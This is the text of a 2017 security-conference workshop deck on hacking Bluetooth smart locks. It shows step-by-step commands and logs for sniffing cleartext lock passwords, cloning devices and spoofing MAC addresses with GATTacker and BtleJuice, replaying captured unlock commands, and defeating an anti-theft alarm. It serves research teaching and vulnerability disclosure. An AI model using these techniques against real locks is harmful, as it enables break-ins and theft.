Blue picking – hacking Bluetooth Smart Locks

Sławomir Jasek
slawomir.jasek@securing.pl
slawomir.jasek@smartlockpicking.com
@slawekja

HackInTheBox Amsterdam, 14.03.2017
Sławomir Jasek

Enjoy appsec (dev, break, build...) since 2003.

Pentesting, consultancy, training - web, mobile, embedded...

Significant part of time for research.
How about you?

Kali Linux?

Wireshark?

Android mobile app decompilation/analysis?

Bluetooth?
Agenda

7 smart locks

• Passive sniffing, active interception, attacking services...
• We’ll stay a little longer for the first lock (various techniques)
• „Application” layer vulns, including 0-day to reset pass

Hackmelock
Some activities can be performed only one at a time.

I will do the demo, then you will be able to follow.
Prerequisites

Kali Linux

BT 4 dongle (1 is enough for most exercises)

Android phone

- Install nRF Connect


Hardware sniffer – not crucial
Hacking challenge – steal a car!
How do we hack BLE?

Sniffing?
BLE LINK SECURITY
Bluetooth 4 security (specification)

Pairing

Key Generation

Encryption

Encryption in Bluetooth LE uses AES-CCM cryptography. Like BR/EDR, the LE Controller will perform the encryption function. This function generates 128-bit encryptedData from a 128-bit key and 128-bit plaintextData using the AES-128-bit block cypher as defined in FIPS-1971.

Signed Data

Bluetooth 4 security (specification)

„The goal of the low energy security mechanism is to protect communication between devices at different levels of the stack.”

• Man-in-the-Middle (MITM)
• Passive Eavesdropping
• Privacy/Identity Tracking
Bluetooth 4.0 - pairing

Pairing (once, in a secure environment)
  • JustWorks (R) – most common, devices without display cannot implement other
  • 6-digit PIN – if the device has a display
  • Out of band – not yet spotted in the wild

Establish Long Term Key, and store it to secure future communication ("bonding")

"Just Works and Passkey Entry do not provide any passive eavesdropping protection"

4.2 – elliptic curves

Mike Ryan, https://www.lacklustre.net/bluetooth/
BLE security - practice

• 8 of 10 tested devices do not implement BLE-layer encryption
• The pairing is in OS level, mobile application does not have full control over it
• It is troublesome to manage with requirements for:
  • Multiple users/application instances per device
  • Access sharing
  • Cloud backup
• Usage scenario does not allow for secure bonding (e.g. public cash register, "fleet" of beacons, car rental)
• Other hardware/software/UX problems with pairing
• "Forget" to do it, or do not consider clear-text transmission a problem
None of the smart locks uses BLE link-layer encryption ;)
BLE security - practice

Security in "application" layer (GATT)

Various authentication schemes
- Static password/key
- Challenge-response (most common)
- "PKI"

Requests/responses encryption

No single standard, library, protocol

Own crypto, based usually on AES
How Secure is [BRAND]?

[BRAND] uses a combination of hardware and technology to ensure the device is secure.

**Bluetooth:** [BRAND] uses AES 128-bit encryption, the same encryption used by the military to protect documents with confidential and secret security levels.

By using industry leading Bluetooth 4.0 that utilizes 128-bit encryption, and our very own PKI technology with cryptographic key exchange protocols, [BRAND] is safe from criminals, hackers, and thieves.

To protect your transactions from unauthorised access by third parties, [BRAND] operates in accordance with the highest card payment industry security standards:

- **PCI-DSS (Payment Card Industry Data Security Standard)** is the highest security standard used in the credit card industry concerning data transfer and data storage.

- **SSL (Secure Sockets Layer) and TLS (Transport Layer Security)** are ‘encryption protocols’ that protect data that is transmitted over the internet. We are using a 256-bit encryption, the highest possible level at present.

- **PGP (Pretty Good Privacy)** is an international standard for secure personal data storage.

After 87 years of home security innovations, millions of families rely on [BRAND]’s long-time leadership and advancements in residential door lock security have now been enhanced with secure authentication technology. Resulting in [BRAND] engineered for both maximum security and performance.
No more questions...

View full report in Google Trends
BLE RF SNIFFING
Sniffing – BLE RF essentials

Advertisement channels

BLE channel hopping

37 channels for data,
3 for advertisements
Pro devices ($$$) – scan whole spectrum

Ellisys Bluetooth Explorer 400
All-in-One Bluetooth® Protocol Analysis System
http://www.ellisys.com/products/bex400/

ComProbe BPA® 600 Dual Mode Bluetooth® Protocol Analyzer
Passive sniffing – Ubertooth (120$)

Open-source (software, hardware).

External antenna.

RF-level sniffing, possible to inspect in Wireshark.

Need 3 of them to sniff all 3 adv channels, then follow hopping.

http://greatscottgadgets.com/ubertoothone/
Adafruit nRF51822

$29.95

Wireshark integration

Not quite reliable, but works good enough

https://www.adafruit.com/product/2269
https://learn.adafruit.com/introducing-the-adafruit-bluefruit-le-sniffer

Since nRF-Sniffer is a passive solution that is simply scanning packets over the air, there is the possibility of missing packets using this tool (or any other passive sniffing solution). In order to capture as many packets as possible, be sure to run the sniffer on a USB bus that isn't busy and avoid running it in a virtual machine since this can introduce significant latency over USB.
Our sniffing device - NRF51822 Eval Kit

Same module, but a bit cheaper than Adafruit

More possibilities for further hacking (e.g. BLE prototyping)
Lock #1
The PADLOCK
BLUETOOTH + RFID

The DOORLOCK
BLUETOOTH + RFID

PRIVACY when you WANT it,
SECURITY when you NEED it.

https://www.thequicklock.com
Setting up the sniffer – connect to USB

root@kali:~# dmesg
(...)
[25958.451531] usb 2-2.2: new full-speed USB device number 10 using uhci_hcd
[25958.707592] usb 2-2.2: New USB device found, idVendor=10c4, idProduct=ea60
[25958.707596] usb 2-2.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[25958.707598] usb 2-2.2: Product: CP2102 USB to UART Bridge Controller
[25958.707600] usb 2-2.2: Manufacturer: Silicon Labs
[25958.707601] usb 2-2.2: SerialNumber: 0001
[25958.713131] cp210x 2-2.2:1.0: cp210x converter detected
[25958.717133] usb 2-2.2: cp210x converter now attached to ttyUSB0
The python helper script

root@kali:~# git clone
https://github.com/adafruit/Adafruit_BLESniffer_Python
The python helper script

root@kali:~# cd Adafruit_BLESniffer_Python
root@kali:~/Adafruit_BLESniffer_Python# python sniffer.py
/dev/ttyUSB0
Capturing data to logs/capture.pcap
Connecting to sniffer on /dev/ttyUSB0
Scanning for BLE devices (5s) ...
Choose „Padlock!” device

```
root@kali:~/Adafruit_BLESniffer_Python# python sniffer.py /dev/ttyUSB0
Capturing data to logs/capture.pcap
Connecting to sniffer on /dev/ttyUSB0
Scanning for BLE devices (5s) ...
Found 5 BLE devices:

[1] "" (F0:C7:7F:16:2E:8B, RSSI = -87)
[5] "Padlock!" (F4:B8:5E:C0:6E:A5, RSSI = -77)
```

Select a device to sniff, or '0' to scan again
> 5

Attempting to follow device F4:B8:5E:C0:6E:A5

..........................................................
Dump pcap file

Adafruit_BLESniffer_Python/logs/capture.pcap

Previously recorded in provided files:
quicklock/pcap_nrf/capture.pcap
Wireshark – by default does not decode it

capture.pcap

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Length</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>0.000000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
</tr>
<tr>
<td>2</td>
<td>0.000936</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
</tr>
<tr>
<td>3</td>
<td>0.000897</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
</tr>
<tr>
<td>4</td>
<td>0.001066</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
</tr>
<tr>
<td>5</td>
<td>0.011542</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
</tr>
<tr>
<td>6</td>
<td>0.016262</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
</tr>
<tr>
<td>7</td>
<td>0.017399</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
</tr>
</tbody>
</table>

Frame 1: 57 bytes on wire (456 bits), 57 bytes captured (456 bits)
User encapsulation not handled: DLT=157, check your Preferences->Protocols->DLT_USER
Data (67 bytes)
Wireshark 2.3.0

Currently unstable. Windows automated builds:

https://www.wireshark.org/download/automated/

I have compiled .deb packages for Kali i686 and amd64:

Files: kali/i686, kali/amd64

# cd kali/i686; dpkg --install *.deb; apt-get -f install
Choose „DLT=157” and enter „nordic_ble”.

<table>
<thead>
<tr>
<th>DLT</th>
<th>Payload protocol</th>
<th>Header size</th>
<th>Header protocol</th>
<th>Trailer size</th>
<th>Trailer protocol</th>
</tr>
</thead>
<tbody>
<tr>
<td>User 10 (DLT=157)</td>
<td>nordic_ble</td>
<td>0</td>
<td></td>
<td>0</td>
<td></td>
</tr>
</tbody>
</table>
Frame 688: 38 bytes on wire (304 bits), 38 bytes captured (304 bits) on interface 0
DLT: 157, Payload: nordic_ble (Nordic BLE sniffer meta)
Nordic BLE sniffer meta
Bluetooth Low Energy Link Layer
Bluetooth L2CAP Protocol
Bluetooth Attribute Protocol
Opcode: Write Request (0x12)
Handle: 0x002d (Unknown)
Value: 0012345678
[Response in Frame: 693]

Value (btatt.value), 5 bytes

Packets: 940 · Displayed: 29 · Marked: 3.1 · Dropped: 0 (0.0%) · Profile: Default
Android HCI dump – white box approach

Settings->Developer options->Enable Bluetooth HCI log
The file is saved in /sdcard/btsnoop_hci.log
Readable in Wireshark
Example file: quicklock/android_hcidump

How to enable Developer options?
About phone->Build number-> tap until „You are now a developer!”
Host Controller Interface

Linux (BlueZ), Android...

# hcidump
Hcidump

Dumps commands and data exchanged between host OS and adapter firmware.

Does not dump raw RF packets.
BLE-Replay by NCC

https://github.com/nccgroup/BLE-Replay

Parses hcidump to json, wraps into python BLE client for replay/fuzzing
### quicklock/android_hciddump/btsnoop_hci.log

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Len</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>6.742574</td>
<td>localhost ()</td>
<td>TexasIns_c0:6e:a5 ()</td>
<td>AT&amp;T</td>
<td>17 Sent Write Request, Handle: 0x002d (Unknown:1)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>6.832301</td>
<td>TexasIns_c0:6e:a5 ()</td>
<td>localhost ()</td>
<td>AT&amp;T</td>
<td>13 Rcvd Handle Value Notification, Handle: 0x00...</td>
<td></td>
<td></td>
</tr>
<tr>
<td>6.833329</td>
<td>TexasIns_c0:6e:a5 ()</td>
<td>localhost ()</td>
<td>AT&amp;T</td>
<td>19 Rcvd Write Response, Handle: 0x002d (Unknown...</td>
<td></td>
<td></td>
</tr>
<tr>
<td>6.878091</td>
<td>localhost ()</td>
<td>TexasIns_c0:6e:a5 ()</td>
<td>AT&amp;T</td>
<td>12 Sent Read Request, Handle: 0x0018 (Device In...</td>
<td></td>
<td></td>
</tr>
<tr>
<td>6.930117</td>
<td>TexasIns_c0:6e:a5 ()</td>
<td>localhost ()</td>
<td>AT&amp;T</td>
<td>20 Rcvd Read Response, Handle: 0x0018 (Device I...</td>
<td></td>
<td></td>
</tr>
<tr>
<td>7.039038</td>
<td>localhost ()</td>
<td>TexasIns_c0:6e:a5 ()</td>
<td>AT&amp;T</td>
<td>13 Sent Read Request, Handle: 0x002d (Unknown:1)</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Frame 216: 17 bytes on wire (136 bits), 17 bytes captured (136 bits)

- Bluetooth
- Bluetooth HCI H4
- Bluetooth HCI ACL Packet
- Bluetooth L2CAP Protocol
- Bluetooth Attribute Protocol
  - Opcode: Write Request (0x12)
  - Handle: 0x002d (Unknown: Unknown)

Value: 0912345678

[Response in Frame: 216]
UNDERSTANDING THE TRANSMISSION
BLE broadcast -> receive
BLE central <-> peripheral
Typical connection flow

1. Start scanning for advertisements
2. Advertise
3. Specific advertisement received, stop scanning
4. Connect the advertising device (MAC)
5. Further communication
Services, characteristics, ...

Service – groups several characteristics

Characteristic – contains a single value

Descriptor – additional data

Properties – read/write/notify...

Value – actual value
UUIDs

Services, characteristics, descriptors have 2 forms of ID:

- Typical services (e.g. battery level, device information) use short UUID values defined in the Bluetooth specification
- 16-bit UUID format – for proprietary, vendor-specific ones
Typical IDs

Common typical short service IDs:
- 0x180F – Battery service
- 0x180A – Device information (manufacturer name, model number...)

Typical Descriptor IDs:
- 0x2901 – text description
- 0x2902 – subscription status

https://www.bluetooth.com/specifications/gatt/services
Each characteristic has properties: read/write/notify

Can be combined (e.g. read+notify, read+write)

Read/write – transmit single value
Notifications

- Getting more data or receiving periodic updates from a device
- The central device subscribes for a specific characteristic, and the peripheral device sends data asynchronously
ACTIVE INTERCEPTION?
How about active interception?

Man in the Middle:

We will force the mobile app to connect to us, and forward the requests to the device!
How do we MITM RF?
Isolate the signal?
Physics...

Bending of a wave around the edges of an opening or an obstacle


https://en.wikipedia.org/wiki/Huygens%E2%80%93Fresnel_principle
Stronger signal? 

Class 1 adapter? +8dBm, 100m range

"little difference in range whether the other end of the link is a Class 1 or Class 2 device as the lower powered device tends to set the range limit"

https://en.wikipedia.org/wiki/Bluetooth

More signals?

And how to handle them in a single system?
Typical connection flow

- Start scanning for advertisements
- Advertise
- Specific advertisement received, stop scanning
- Connect the advertising device (MAC)
- Further communication
Attack?

Start scanning for advertisements

Specific advertisement received, stop scanning

Advertise more frequently

MITM?

Keep connection to original device. It does not advertise while connected ;)

Connect the advertising device (MAC)

Further communication
MITM – what actually works

Advertise more frequently
  • The victim's mobile will interpret the first advertisement it receives
  • Devices usually optimized for longer battery life, advertise less frequently

Clone MAC address of targeted device
  • Not always necessary, but mostly helpful

Keep connected to target device
  • Devices do not advertise while connected
  • Only one connection at a time accepted
  • Usually easy, most connections are short-term
  • For constantly-connected: targeted jamming/social engineering/patience...
Introducing GATTacker

Open source
Node.js
Websockets
Modular design
Json
.io website

And a cool logo!
GATTacker - architecture

Advertising „cloned” device

„PROXY” – interception, tampering

Device cloning

Get serv
services

Get serv
services

Advertise

Get serv

services
Hardware: BLE USB dongle

CSR8510 – most common, good enough, ~ 7 EUR

Other chips (often built in laptops)
• Intel, Broadcom, Marvell...
• May be a bit unstable (e.g. with MAC address change)

Power:
• Class II – 2.5 mW, 10m range – most common
• Class I – 100 mW, 100 m range – more expensive, actually not necessary
Turn off sharing Bluetooth devices with host
Check device support for BLE

root@kali:~# hciconfig
hci0: Type: BR/EDR  Bus: USB
  BD Address: 54:4A:16:5D:6F:41  ACL MTU: 310:10  SCO MTU: 64:8
  UP RUNNING
  RX bytes:568 acl:0 sco:0 events:29 errors:0
  TX bytes:357 acl:0 sco:0 commands:30 errors:1

root@kali:~: hciconfig hci0 up
root@kali:~# hciconfig hci0 version
hci0: Type: BR/EDR  Bus: USB
  BD Address: 54:4A:16:5D:6F:41  ACL MTU: 310:10  SCO MTU: 64:8
  HCI Version: 4.0 (0x6)  Revision: 0x22bb
  LMP Version: 4.0 (0x6)  Subversion: 0x22bb
  Manufacturer: Cambridge Silicon Radio (10)
Install in Kali – step 1: install npm

```
root@kali:~# apt-get install npm nodejs-legacy
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
(...) 0 upgraded, 55 newly installed, 0 to remove and 0 not upgraded.
Need to get 4,603 kB of archives.
After this operation, 18.1 MB of additional disk space will be used.
Do you want to continue? [Y/n]
```
Install in Kali – step 2

root@kali:~# npm install gattacker

(...)
gattacker@0.1.3 node_modules/gattacker
├── bplist-parser@0.0.6
├── env2@2.1.1
├── node-getopt@0.2.3
├── colors@1.1.2
├── debug@2.2.0 (ms@0.7.1)
├── ws@1.1.1 (options@0.0.6, ultron@1.0.2)
├── glob@7.1.1 (path-is-absolute@1.0.1, inherits@2.0.3, fs.realpath@1.0.0, inflight@1.0.6, once@1.4.0, minimatch@3.0.3)
├── async@2.1.2 (lodash@4.16.4)
└── bluetooth-hci-socket@0.4.4 (nan@2.4.0)
Advertise

Get services

Advertising „cloned” device

„PROXY” – interception, tampering

Get serv

Device cloning

Advertise

Get serv

services

services
1. Scan device to JSON

Advertisement + services JSON

scan.js

ws-slave.js

advertisement
Running the ws-slave (client)

```bash
$ cd node_modules/gattacker

~/node_modules/gattacker $ sudo node ws-slave.js

GATTacker ws-slave
```
Scan for advertisements (Kali)

```
root@kali:~/node_modules/gattacker# node scan.js

Ws-slave address: 127.0.0.1

on open

poweredOn

Start scanning.
```
scan.js

Without parameters – listens for all advertisements, saves them automatically to JSON files (devices/ subdir).
Look for „Padlock!” device

peripheral discovered (f4b85ec06ea5 with address <f4:b8:5e:c0:6e:a5, public>, connectable true, RSSI -72:

Name: Padlock!
EIR: 0201050302d6ff09095061646c6f636b21 (Padlock!)
Scan response: 13ff0000000000000000000000000000000000002c31 (,1)

advertisement saved: devices/f4b85ec06ea5_Padlock-.adv.json
Json files (devices/) - advertisement

```
{
    "id": "f4b85ec06ea5",
    "eir": "0201050302d6ff09095061646c6f636b21",
    "scanResponse": null,
    "decodedNonEditable": {
        "localName": "Padlock!",
        "manufacturerDataHex": null,
        "manufacturerDataAscii": null,
        "serviceUuids": [
            "ffd6"
        ]
    }
}
```

Raw hex data (according to BLE spec), used later

Decoded, just for display (editing it will not have any effect)
Scan device characteristics

root@kali:~/node_modules/gattacker# node scan f4b85ec06ea5
Ws-slave address: 127.0.0.1
on open
poweredOn
Start exploring f4b85ec06ea5
Start to explore f4b85ec06ea5
explore state: f4b85ec06ea5 : start
explore state: f4b85ec06ea5 : finished
Services file devices/f4b85ec06ea5.srv.json saved!
Json services

```
{
  "uuid": "1800",
  "name": "Generic Access",
  "type": "org.bluetooth.service.generic_access",
  "startHandle": 1,
  "endHandle": 11,
  "characteristics": [
    {
      "uuid": "2a00",
      "name": "Device Name",
      "properties": [
        "read"
      ],
      "value": "5061646c6f636b21",
      "descriptors": [],
      "startHandle": 2,
      "valueHandle": 3,
      "asciiValue": "Padlock!"
    }
  ]
}
```
2. Advertise

Advertisement

+ services JSON

advertise.js
We will use 2 separate boxes

Advertising „cloned“ device

„PROXY“ – interception, tampering
Separate boxes

It is possible to run both components on one box (configure BLENO/NOBLE_HCI_DEVICE_ID in config.env).

But it is not very reliable at this moment (kernel-level device mismatches).

Much more stable results on a separate ones.
On the Kali – edit config to your Raspberry IP

root@kali:~# cd node_modules/gattacker/

root@kali:~/node_modules/gattacker# gedit config.env

Edit BLENO_HCI_DEVICE_ID to your HCI, WS_SLAVE address to match your Raspberry

    # "peripheral" device emulator
    BLENO_HCI_DEVICE_ID=0
    # ws-slave websocket address
    WS_SLAVE=127.0.0.1 -> YOUR_IP
advertise

root@kali:~/node_modules/gattacker# node advertise.js -h

Usage: node advertise -a <FILE> [ -s <FILE> ] [-S]

-a, --advertisement=FILE   advertisement json file
-s, --services=FILE       services json file
-S, --static              static - do not connect to ws-slave/target device
-f, --funmode             have fun!
--jk                      see http://xkcd.com/1692
-h, --help                display this help
MAC SPOOFING
MAC address spoofing

Some mobile applications rely only on advertisement packets, and don’t care for MAC address.

But most of them (including this one) do.

It is easy to change Bluetooth adapter MAC using bdaddr tool (part of Bluez)

For some chipsets it may be troublesome.
MAC spoofing – GATT cache

To optimize connections, mobile OS caches information on characteristics attached to specific handle numbers of a given device (MAC).

Android: /data/misc/bluedroid (need root)

If you spoof MAC with different characteristics <-> handles, the mobile will try to talk to other handle numbers, and will most likely „hang” and disconnect.

GATTacker uses modified version on bleno to clone characteristics 1:1.
Bdaddr

```bash
root@kali:~/node_modules/gattacker/helpers/bdaddr# make
gcc -c bdaddr.c
gcc -c oui.c
gcc -o bdaddr bdaddr.o oui.o -lbluetooth

# cp bdaddr /usr/local/sbin
```
Start device – mac_adv (wrapper to advertise.js)

root@kali:~node_modules/gattacker# ./mac_adv -a devices/f4b85ec06ea5_Padlock-.adv.json -s devices/f4b85ec06ea5.srv.json
Advertise with cloned MAC address
Manufacturer: Cambridge Silicon Radio (10)
Device address: B0:EC:8F:00:91:0D
New BD address: F4:B8:5E:C0:6E:A5

Address changed - Reset device now
Re-plug the interface and hit enter
Changing MAC address

It is more stable to re-plug the adapter after changing MAC.
Cleartext password: 12345678
Data dump saved in dump/

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Option</th>
<th>Type</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>2017.03.24</td>
<td>17:55:10.586</td>
<td>&lt; C</td>
<td>fff0</td>
<td>01730000000000000000000000000000 ( s )</td>
</tr>
<tr>
<td>2017.03.24</td>
<td>17:55:10.930</td>
<td>&gt; R</td>
<td>180f</td>
<td>Battery Service</td>
</tr>
<tr>
<td>2017.03.24</td>
<td>17:55:11.125</td>
<td>&lt; C</td>
<td>1805</td>
<td>(Current Time Service)</td>
</tr>
<tr>
<td>2017.03.24</td>
<td>17:55:11.386</td>
<td>&gt; R</td>
<td>fff0</td>
<td>fff3</td>
</tr>
<tr>
<td>2017.03.24</td>
<td>17:55:11.597</td>
<td>&lt; C</td>
<td>ffd0</td>
<td>ffd5</td>
</tr>
<tr>
<td>2017.03.24</td>
<td>17:55:11.639</td>
<td>&gt; N</td>
<td>ffd0</td>
<td>ffd7</td>
</tr>
<tr>
<td>2017.03.24</td>
<td>17:55:11.772</td>
<td>&gt; R</td>
<td>180a</td>
<td>(Device Information)</td>
</tr>
<tr>
<td>2017.03.24</td>
<td>17:55:12.042</td>
<td>&gt; R</td>
<td>ffd0</td>
<td>ffd3</td>
</tr>
<tr>
<td>2017.03.24</td>
<td>17:55:12.773</td>
<td>&gt; R</td>
<td>ffd0</td>
<td>ffd9</td>
</tr>
<tr>
<td>2017.03.24</td>
<td>17:55:14.782</td>
<td>&lt; C</td>
<td>ffd0</td>
<td>ffd9</td>
</tr>
<tr>
<td>2017.03.24</td>
<td>17:55:14.744</td>
<td>&gt; N</td>
<td>ffd0</td>
<td>ffd9</td>
</tr>
<tr>
<td>2017.03.24</td>
<td>17:55:17.908</td>
<td>&gt; N</td>
<td>ffd0</td>
<td>ffd9</td>
</tr>
</tbody>
</table>

Example file: quicklock/gattacker/dump
Replay

$ sudo node replay.js -i dump/f4b85ec06ea5.log -s devices/f4b85ec06ea5.srv.json -p f4b85ec06ea5

```
root@v4 # node replay.js -i dump/f4b85ec06ea5.log -s devices/f4b85ec06ea5.srv.json -p f4b85ec06ea5
Ws-slave address: 127.0.0.1
on open
poweredOn
Noble MAC address : dc:53:60:d7:43:43
initialized!
WRITE CMD: 0173600000000000000000000000000000
READ: 50 --- skip
WRITE CMD: fe196820
READ: 0173600000000000000000000000000000 --- skip
WRITE CMD: 0012345678
NOTIFICATION: 81 --- skip
READ: 05298101201504282834 --- skip
READ: 03 --- skip
READ: 00 --- skip
WRITE CMD: 01
NOTIFICATION: 81 --- skip
NOTIFICATION: 80 --- skip
```
Replay using mobile application

https://github.com/securing/gattacker/wiki/Dump-and-replay

nRF Connect:

Macros functionality

https://github.com/NordicSemiconductor/Android-nRF-Connect/tree/master/documentation/Macros

https://github.com/securing/gattacker/wiki/Dump-and-replay
Convert GATTacker log to nRF XML macro

# node gattacker2nrf -i dump/f4b85ec06ea5.log > quicklock_replay.xml

Already converted file:

quicklock/nrf_connect_macro/quicklock.xml
Introducing BtleJuice by Damien Cauquil

https://speakerdeck.com/virtualabs/btlejuice-the-bluetooth-smart-mitm-framework

https://en.wikipedia.org/wiki/Multiple_discovery

The concept of multiple discovery (also known as simultaneous invention) is the hypothesis that most scientific discoveries and inventions are made independently and more or less simultaneously by multiple scientists and inventors.
BtleJuice – run „proxy” on raspberry

pi@raspberrypi:~ $ sudo btlejuice-proxy

[i] Using interface hci0

[info] Server listening on port 8000
BtleJuice - Kali

Install package, run:

root@kali:~# npm install -g btlejuice

root@kali:~/# btlejuice -u <YOUR_RASP_IP> -w

Open http://localhost:8080 in browser
Select target device

Choose „Padlock!”
<table>
<thead>
<tr>
<th>Action</th>
<th>Service</th>
<th>Characteristic</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>write</td>
<td>fff0</td>
<td>fff3</td>
<td>62 68 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>read</td>
<td>180f</td>
<td>2a19</td>
<td>37</td>
</tr>
<tr>
<td>write</td>
<td>1805</td>
<td>2a2b</td>
<td>38 37 aa 1f</td>
</tr>
<tr>
<td>read</td>
<td>fff0</td>
<td>fff3</td>
<td>62 68 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>notification</td>
<td>ffd0</td>
<td>ffd6</td>
<td>60 12 34 56 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>notification</td>
<td>ffd0</td>
<td>ffd7</td>
<td>60</td>
</tr>
<tr>
<td>read</td>
<td>180a</td>
<td>2a26</td>
<td>65 29 61 01 20 15 04 28 20 34</td>
</tr>
<tr>
<td>notification</td>
<td>ffd0</td>
<td>ffd9</td>
<td>63</td>
</tr>
<tr>
<td>read</td>
<td>ffd0</td>
<td>ffda</td>
<td>60</td>
</tr>
<tr>
<td>write</td>
<td>ffd0</td>
<td>ffda</td>
<td>60</td>
</tr>
<tr>
<td>notification</td>
<td>ffd0</td>
<td>ffda</td>
<td>60</td>
</tr>
<tr>
<td>notification</td>
<td>ffd0</td>
<td>ffda</td>
<td>60</td>
</tr>
</tbody>
</table>

The cleartext password
BtleJuice

- Problems with reconnections (when device disconnects immediately) – cost of using noble/bleno from repos
- Does not implement MAC address spoofing out of the box
- Depends on stock noble/bleno
- Has much better UI!
Quicklock hack is brought to you by Antony Rose

>>> Vulnerable Devices

* Plain Text Password
  - Quicklock Doorlock & Padlock v1.5
  - iBluLock Padlock v1.9
  - Plantraco Phantomlock v1.6

* Replay Attack
  - Ceomate Bluetooth Smart Doorlock v2.0.1
  - Elecycle EL797 & EL797G Smart Padlock v1.8
  - Vians Bluetooth Smart Doorlock v1.1.1
  - Lagute Sciener Smart Doorlock v3.3.0

Manufacturer’s statement

The electronic codes necessary to open are passed wirelessly and are unencrypted (by design) to allow vendors flexibility when integrating the Bluetooth device into existing platforms. Because keys are passed wirelessly, they are open to Bluetooth hacking only for a few seconds, when a hacker is within range of the device. However, this level of security is similar to a standard lock and key scenario! Standard mechanical devices offer far fewer benefits than Bluetooth connected locks!

https://www.thequicklock.com/security-notice.php
Lock #2
Anti-theft protection

Mobile application „pairs” with device, and listens to its advertisements.

In case the luggage is stolen (no signal from device), mobile app raises alarm.

Mobile app: „witbelt”
ws-slave, scan
Scan for advertisements

root@kali:~# cd node_modules/gattacker
root@kali:~/node_modules/gattacker# node ws-slave.js
GATTacker ws-slave

root@kali:~/node_modules/gattacker# node scan.js
Ws-slave address: 127.0.0.1
on open
poweredOn
Start scanning.
peripheral discovered (d03972b7ad8f with address <d0:39:72:b7:ad:8f, public>, connectable true, RSSI -69:

Name: WiT Belt

EIR: 020106070203180218041809ff8fadb77239d01000 ( r9 )

Scan response: 09095769542042656c74 ( WiT Belt)

advertisement saved: devices/d03972b7ad8f_WiT-Belt.adv.json
Scan services

root@kali:~/node_modules/gattacker# node scan.js d03972b7ad8f
Ws-slave address: 127.0.0.1
on open
poweredOn
Start exploring d03972b7ad8f
Start to explore d03972b7ad8f
explore state: d03972b7ad8f : start
explore state: d03972b7ad8f : finished
Services file devices/d03972b7ad8f.srv.json saved!
Add static hooks in services file (already in files/)

```
"characteristics": [
    {
        "uuid": "2a19",
        "name": "Battery Level",
        "properties": [
            "read",
            "notify"
        ],
        "value": "54",
        "hooks": {
            "staticValue": "54"
        }
    }
]
```
Stop ws-slave (we will need the BT interface)

ws -> close

^Croot@kali:~/node_modules/gattacker#
Change interface MAC address

```
# bdaddr -i hci0 d0:39:72:b7:ad:8f
Manufacturer: Cambridge Silicon Radio (10)
Device address: F1:A3:12:0D:25:FD
New BD address: D0:39:72:B7:AD:8F (Texas Instruments)

Address changed - Reset device now
# hciconfig hci1 up
```
Start advertising (static run)

```
# node advertise -S -a devices/d03972b7ad8f_WiT-Belt.adv.json -s devices/d03972b7ad8f.srv.json
```
App connects to emulated device, alarm disables!

```
root@v4 # node advertise -S -a devices/d03972b7ad8f_WiT-Belt.adv.json
static run write not defined in hooks undefined -> undefined
peripheralId: d03972b7ad8f
advertisement file: devices/d03972b7ad8f_WiT-Belt.adv.json
EIR: 020106070203180218041809ff8fadb77239d01000
scanResponse: 09095769542042656c74
waiting for interface to initialize...
BLENO - on -> stateChange: poweredOn
on -> advertisingStart: success
setServices: success
<<<<<<<<<<<INITIALIZED>>>>>>>>>>>>>>>>>>>>>
>> Write: 1802 (Immediate Alert) -> 2a06 (Alert Level ) : 00 ( )
static run write not defined in hooks 1802 (Immediate Alert) -> 2a06 (Alert Level )
<< Read static val 180f (Battery Service) -> 2a19 (Battery Level ) : 54 (T)
>> Subscribe: 180f (Battery Service) -> 2a19 (Battery Level )
static run subscribe 180f (Battery Service) -> 2a19 (Battery Level )
>> Write: 1802 (Immediate Alert) -> 2a06 (Alert Level ) : 00 ( )
static run write not defined in hooks 1802 (Immediate Alert) -> 2a06 (Alert Level )
```
Lock #3
Scan for the lock

root@kali:~/node_modules/gattacker# node scan.js
Ws-slave address: 10.5.5.129
on open
poweredOn
Start scanning.
peripheral discovered (f0c77f162e8b with address <f0:c7:7f:16:2e:8b, public>, connectable true, RSSI -63:

    Name: Smartlock
    EIR: 0201060302e0ff (       )
    Scan response: 0e09536d6172746c6f636b202020051228003c00020a00 ( Smartlock     ( <    )

advertisement saved: devices/f0c77f162e8b_Smartlock-.adv.json
Save its services for cloning

root@kali:~/node_modules/gattacker# node scan.js f0c77f162e8b
Ws-slave address: 10.5.5.129
on open
poweredOn
Start exploring f0c77f162e8b
Start to explore f0c77f162e8b
explore state: f0c77f162e8b : start
explore state: f0c77f162e8b : finished
Services file devices/f0c77f162e8b.srv.json saved!
Run MITM attack

root@kali:~/node_modules/gattacker# ./mac_adv -a devices/f0c77f162e8b_Smartlock-.adv.json
Advertise with cloned MAC address
Ws-slave address: 10.5.5.129
peripheralid: f0c77f162e8b
advertisement file: devices/f0c77f162e8b_Smartlock-.adv.json
EIR: 0201060302e0ff
